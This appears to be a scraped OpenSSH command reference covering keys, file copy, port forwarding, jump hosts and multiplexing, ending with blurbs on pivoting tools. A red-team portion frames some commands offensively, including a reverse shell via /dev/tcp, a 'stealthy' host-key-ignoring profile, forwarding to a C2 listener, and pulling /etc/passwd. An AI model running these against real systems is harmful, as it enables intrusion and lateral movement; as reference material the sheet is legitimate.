ssh user@192.168.1.10Establishes a basic interactive SSH session to a remote host using default settings.
OpenSSH: secure remote login, key management, file transfer and port forwarding — local, remote and dynamic SOCKS tunnels.
sudo apt install openssh-clientssh user@example.com -p 2222Connects to a remote server on a non-standard SSH port.
ssh -i ~/.ssh/id_rsa_custom user@192.168.1.10Specifies a specific identity file (private key) to use for authentication.
Example
ssh -i ~/.ssh/deploy_key user@192.168.1.10ssh -i /path/to/key.pem -o IdentitiesOnly=yes user@192.168.1.10Uses a specific key and prevents the SSH agent from offering other keys.
Example
ssh -i ./aws-key.pem -o IdentitiesOnly=yes ubuntu@192.168.1.10ssh -F /path/to/custom_config host_aliasInstructs SSH to use a custom configuration file instead of the default ~/.ssh/config.
Example
ssh -F ./project_config db_serverssh user@192.168.1.10 'whoami; id; hostname'Executes a command string on the remote host and exits immediately after returning output.
Example
ssh user@192.168.1.10 'ls -la /var/www'ssh -N -f user@192.168.1.10Goes into the background (-f) and executes no remote command (-N), useful for tunnel setup.
ssh -T user@192.168.1.10Disables pseudo-terminal allocation, often used for scripts or file transfers.
Example
ssh -T git@github.comssh -t user@192.168.1.10 'top'Forces pseudo-terminal allocation, allowing interactive programs like top or sudo to run.
Example
ssh -t user@192.168.1.10 'sudo htop'ssh -v user@192.168.1.10Enables verbose mode to print debugging messages about the connection progress.
ssh -vvv user@192.168.1.10Enables maximum verbosity to debug complex connection, authentication, or config issues.
ssh -q user@192.168.1.10 commandEnables quiet mode, suppressing most warning and diagnostic messages.
Example
ssh -q user@192.168.1.10 'uptime'ssh -E /tmp/ssh_log.txt -v user@192.168.1.10Appends debug logs to a specific file instead of standard error.
Example
ssh -E debug.log -v user@192.168.1.10ssh -C user@192.168.1.10Enables compression on the connection, useful for slow links or text-heavy transfers.
ssh -o ConnectTimeout=5 user@192.168.1.10Sets a timeout limit in seconds for establishing the TCP connection.
ssh -o ServerAliveInterval=60 user@192.168.1.10Sends a keepalive packet every 60 seconds to prevent the session from timing out.
ssh -L 8080:localhost:80 user@192.168.1.10Forwards local port 8080 to port 80 on the remote host (Local Port Forwarding).
Example
ssh -L 8080:127.0.0.1:80 user@192.168.1.10ssh -L 8080:10.0.0.5:80 user@192.168.1.10Forwards local port 8080 through the remote host to a third internal IP address.
Example
ssh -L 8080:internal-db:5432 user@bastionssh -R 8080:localhost:80 user@192.168.1.10Forwards port 8080 on the remote server back to port 80 on the local machine (Remote Port Forwarding).
Example
ssh -R 8080:127.0.0.1:80 user@192.168.1.10ssh -R 0.0.0.0:8080:localhost:80 user@192.168.1.10Exposes the reverse forwarded port 8080 on all interfaces of the remote host (requires GatewayPorts yes).
Example
ssh -R 0.0.0.0:8080:127.0.0.1:80 user@public-vpsssh -D 9050 user@192.168.1.10Creates a dynamic SOCKS proxy on local port 9050 that routes traffic through the SSH connection.
Example
ssh -D 9050 -N -f user@192.168.1.10ssh -J jumpuser@jumphost user@192.168.1.20Uses the -J flag to transparently proxy the connection through an intermediate jump host.
Example
ssh -J admin@bastion.corp.com developer@internal-appssh -J user1@host1,user2@host2 user@targetChains multiple jump hosts in sequence to reach a deep internal network target.
Example
ssh -J entry@bastion1,internal@bastion2 root@deep-targetssh -o ProxyCommand='ssh -W %h:%p user@jumphost' user@targetLegacy method to proxy connections using netcat-style forwarding via an intermediate host.
Example
ssh -o ProxyCommand='ssh -W %h:%p jumpuser@1.2.3.4' user@10.0.0.5ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@targetRoutes the SSH connection through a local SOCKS5 proxy (e.g., Tor or another SSH tunnel).
Example
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:9050 %h %p' user@hiddenssh -M -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10Establishes a master connection socket for connection multiplexing (-M) at a specific path (-S).
Example
ssh -M -S /tmp/mysocket user@192.168.1.10ssh -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10 commandReuses an existing master connection socket to execute commands instantly without re-authentication.
Example
ssh -S /tmp/mysocket user@192.168.1.10 'uptime'ssh -O check -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10Checks the status of an active multiplexed control socket.
Example
ssh -O check -S /tmp/mysocket user@192.168.1.10ssh -O exit -S /tmp/ssh_mux_%r@%h:%p user@192.168.1.10Gracefully closes the master multiplexing connection and socket.
Example
ssh -O exit -S /tmp/mysocket user@192.168.1.10ssh -c aes256-gcm@openssh.com user@192.168.1.10Forces the connection to use a specific encryption cipher.
ssh -m hmac-sha2-512 user@192.168.1.10Forces the connection to use a specific Message Authentication Code (MAC) algorithm.
ssh -o KexAlgorithms=curve25519-sha256 user@192.168.1.10Specifies the Key Exchange (KEX) algorithms the client will propose.
ssh -o HostKeyAlgorithms=+ssh-rsa user@legacy-hostEnables legacy host key algorithms (like ssh-rsa) for connecting to outdated servers.
Example
ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.1.5scp localfile.txt user@192.168.1.10:/tmp/Securely copies a local file to a remote destination.
Example
scp exploit.py user@192.168.1.10:/tmp/scp -r folder/ user@192.168.1.10:/tmp/Recursively copies a local directory and its contents to a remote destination.
Example
scp -r tools/ user@192.168.1.10:/opt/scp -P 2222 user@192.168.1.10:/remote/file.txt .Downloads a file from a remote host listening on a non-standard port.
Example
scp -P 2222 user@192.168.1.10:/etc/passwd .ssh -o BatchMode=yes user@192.168.1.10Disables all interactive prompts (passwords, key confirmations), useful for scripts.
Example
ssh -o BatchMode=yes user@192.168.1.10 'date'ssh -o EscapeChar=none user@192.168.1.10Disables the escape character (default ~), allowing transparent binary data transfer.
ssh -e ^ user@192.168.1.10Sets the session escape character to the caret symbol (^) instead of tilde (~).
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=ERROR user@192.168.1.10A stealthy connection profile that ignores host keys and suppresses warnings for red team ops.
ssh -L 8080:127.0.0.1:80 -N user@192.168.1.10Establishes a background tunnel to access a remote localhost service (like an admin panel) locally.
ssh -R 1234:127.0.0.1:4444 user@192.168.1.10Remote forwards a port on the compromised server back to a local C2 listener.
Example
ssh -R 1234:127.0.0.1:4444 user@compromised-serverssh -D 1080 -f -C -q -N user@192.168.1.10Backgrounds a compressed, quiet dynamic SOCKS proxy for pivoting tools like proxychains.
ssh -o ProxyCommand='ssh -W %h:%p user@pivot' user@targetManual double-hop lateral movement using ProxyCommand when -J is unavailable.
Example
ssh -o ProxyCommand='ssh -W %h:%p pivot-user@10.0.0.1' root@10.0.0.2ssh user@192.168.1.10 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'Executes a reverse shell command immediately upon connection.
ssh -o PermitLocalCommand=yes -o LocalCommand='xterm' user@192.168.1.10Executes a local command automatically after a successful connection is established.
Example
ssh -o PermitLocalCommand=yes -o LocalCommand='scp %r@%h:secret.txt .' user@192.168.1.10ssh -w 0:0 user@192.168.1.10Creates a Layer 3 TUN device tunnel (requires root on both ends and PermitTunnel yes).
Example
ssh -w 0:0 root@192.168.1.10ssh -w 5:5 -o Tunnel=ethernet user@192.168.1.10Creates a Layer 2 TAP device tunnel for bridging Ethernet segments.
Example
ssh -w 5:5 -o Tunnel=ethernet root@192.168.1.10ssh -v -o PubkeyAuthentication=no user@192.168.1.10Debugs authentication failures by forcing a fallback to password or keyboard-interactive modes.
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C 'comment'Generates a modern Ed25519 SSH key pair for secure authentication.
Example
ssh-keygen -t ed25519 -f ~/.ssh/ops_key -C 'ops-team'ssh-keygen -R 192.168.1.10Removes a specific host key from the known_hosts file to resolve man-in-the-middle warnings.
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@192.168.1.10Installs a public key onto a remote server's authorized_keys file.
Example
ssh-copy-id -i ~/.ssh/ops_key.pub user@192.168.1.10ssh-keygen -y -f private_key.pem > public_key.pubDerives the public key from a private key file.
Example
ssh-keygen -y -f id_rsa > id_rsa.pubssh-keygen -p -f ~/.ssh/id_rsaChanges the passphrase of an existing private key without regenerating the key.
ssh -o ControlPath=~/.ssh/%r@%h:%p -o ControlMaster=auto -o ControlPersist=10m user@192.168.1.10Maintains a persistent background connection socket to speed up subsequent lateral movement commands.
Example
ssh -o ControlPath=/tmp/%r -o ControlMaster=auto -o ControlPersist=yes user@192.168.1.10ssh -o SendEnv=GIT_* user@192.168.1.10Passes specific local environment variables to the remote session (requires AcceptEnv on server).
Example
ssh -o SendEnv=MY_VAR user@192.168.1.10ssh -t user@192.168.1.10 'screen -R malicious_session'Connects and immediately attaches to a persistent terminal multiplexer session.
Example
ssh -t user@192.168.1.10 'tmux attach -t session'ssh -G user@192.168.1.10Prints the full resolved configuration for a host connection without actually connecting.
ssh -Q cipherLists all encryption ciphers supported by the local SSH client.
ssh -Q macLists all Message Authentication Code (MAC) algorithms supported by the client.
ssh -Q kexLists all Key Exchange (KEX) algorithms supported by the client.
ssh -o CertificateFile=id_rsa-cert.pub user@192.168.1.10Authenticates using a signed SSH certificate instead of a raw public key.
Example
ssh -o CertificateFile=~/.ssh/id_user-cert.pub user@192.168.1.10ssh-add -lLists fingerprints of all identities currently loaded into the SSH agent.
ssh-add -DDeletes all identities from the current SSH agent.
ssh-add -c ~/.ssh/id_rsaAdds a key to the agent with constraints, requiring confirmation for each use.
Example
ssh-add -c ~/.ssh/sensitive_keyssh-add -t 3600 ~/.ssh/id_rsaAdds a key to the agent with a lifetime limit (e.g., 1 hour), after which it is removed.
ssh -1 user@192.168.1.10Forces SSH protocol version 1 (highly insecure, removed in modern OpenSSH).
Example
ssh -1 user@old-routerssh -o StreamLocalBindUnlink=yes -R /tmp/socket:/tmp/socket user@hostForwards a Unix domain socket from the remote host to the local machine, cleaning up stale sockets.
Example
ssh -o StreamLocalBindUnlink=yes -R /run/docker.sock:/run/docker.sock user@devssh -t user@jump ssh -t user@targetManual chain loading of SSH sessions where -J is not supported or shell interaction is needed at each hop.
Example
ssh -t user@bastion ssh -t user@db-serverssh -o RemoteCommand='ls -la' user@192.168.1.10Specifies the command to execute on the remote host via the configuration option rather than argument.
Example
ssh -o RemoteCommand='uptime' user@192.168.1.10ssh -o IPQoS=throughput user@192.168.1.10Optimizes the Quality of Service (QoS) flags for high-throughput bulk data transfer.
ssh -o IPQoS=lowdelay user@192.168.1.10Optimizes QoS flags for low-latency interactive sessions.
A bidirectional data relay between almost any two endpoints — sockets, files, pipes, TLS — ideal for port forwarding and stable shells.
A fast TCP/UDP tunnel over HTTP secured with SSH, in a single Go binary — used to build SOCKS proxies and port forwards through firewalls during pivoting.
A transparent proxy that tunnels a whole subnet over a plain SSH connection, with DNS support and no special software on the remote host.
A modern tunneling tool that exposes internal networks through a lightweight TUN interface — pivot without proxychains, using normal routing.
Forces any program’s TCP traffic through a chain of SOCKS or HTTP proxies — the standard way to run tools across a SOCKS pivot.
The TCP/IP Swiss-army knife: connect to and listen on ports, transfer files, banner-grab and catch reverse shells.